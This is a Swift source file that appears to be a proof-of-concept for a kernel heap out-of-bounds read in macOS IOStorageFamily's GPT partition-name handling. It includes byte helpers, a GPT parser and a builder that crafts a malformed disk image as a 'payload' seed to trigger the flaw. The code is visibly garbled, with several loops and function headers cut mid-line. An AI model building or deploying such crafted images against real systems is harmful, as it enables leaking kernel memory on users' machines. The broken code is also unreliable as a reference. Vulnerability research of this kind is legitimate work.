// kext.gpt · IOStorageFamily · CVE-2026-112554 // GPT partition name scan 72-byte kernel heap out-of-bounds read import Foundation // identity localization shim — passes the string through unchanged. func tl(_ s: String) -> String { s } // ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func be32(_ v: UInt32) -> [UInt8] { [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le32(_ v: UInt32) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] } static func be64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } } static func le64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } } static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } // ── seed construction (from Cinder27 Sources: GPTPayload) ── enum GPTPayload { static func describe(_ image: Data) -> [String] { var lines: [String] = [] guard image.count >= 1024 else { return [tl("image too short")] } let sig = [UInt8](image[512..<520]) guard sig.starts(with: [0x45, 0x46, 0x49, 0x20, 0x50, 0x41, 0x52, 0x54]) else { return [tl("no GPT signature")] } let entryLBA = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 72, as: UInt64.self) } let entryCount = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 80, as: UInt32.self) } let entrySize = image.withUnsafeBytes { $0.load(fromByteOffset: 512 + 84, as: UInt32.self) } lines.append(tl("GPT header: entry LBA ") + "\(entryLBA)" + tl(" · ") + "\(entryCount)" + tl(" entries · ") + "\(entrySize)" + tl(" B")) let base = Int(entryLBA) * 512 for i in 0.. Data { let sector = 512 var out = Data() // protective MBR var mbr = [UInt8](repeating: 0, count: sector) mbr[446 + 4] = 0xEE mbr[446 + 5] = 0xFF; mbr[446 + 6] = 0xFF; mbr[446 + 7] = 0xFF mbr[446 + 8] = 0x01 let totalSectors: UInt32 = 34 mbr[446 + 12] = UInt8(totalSectors & 0xff) mbr[446 + 13] = UInt8((totalSectors >> 8) & 0xff) mbr[446 + 14] = UInt8((totalSectors >> 16) & 0xff) mbr[446 + 15] = UInt8((totalSectors >> 24) & 0xff) mbr[510] = 0x55; mbr[511] = 0xAA out.append(contentsOf: mbr) // primary GPT header var hdr = [UInt8](repeating: 0, count: sector) hdr[0] = 0x45; hdr[1] = 0x46; hdr[2] = 0x49; hdr[3] = 0x20 hdr[4] = 0x50; hdr[5] = 0x41; hdr[6] = 0x52; hdr[7] = 0x54 hdr[8] = 0x00; hdr[9] = 0x00; hdr[10] = 0x01; hdr[11] = 0x00 let headerSize: UInt32 = 92 hdr[12] = UInt8(headerSize & 0xff); hdr[13] = 0 hdr[24] = 2 // my LBA hdr[32] = 33 // alternate LBA hdr[40] = 2 // first usable hdr[48] = 32 // last usable hdr[72] = 2 // entry array LBA let entries: UInt32 = UInt32(entryCount) hdr[80] = UInt8(entries & 0xff) hdr[84] = 128 // entry size out.append(contentsOf: hdr) // partition entries var array = Data() for i in 0..> 8) & 0xff) } array.append(contentsOf: entry) } out.append(array) while out.count % sector != 0 { out.append(0) } return out } }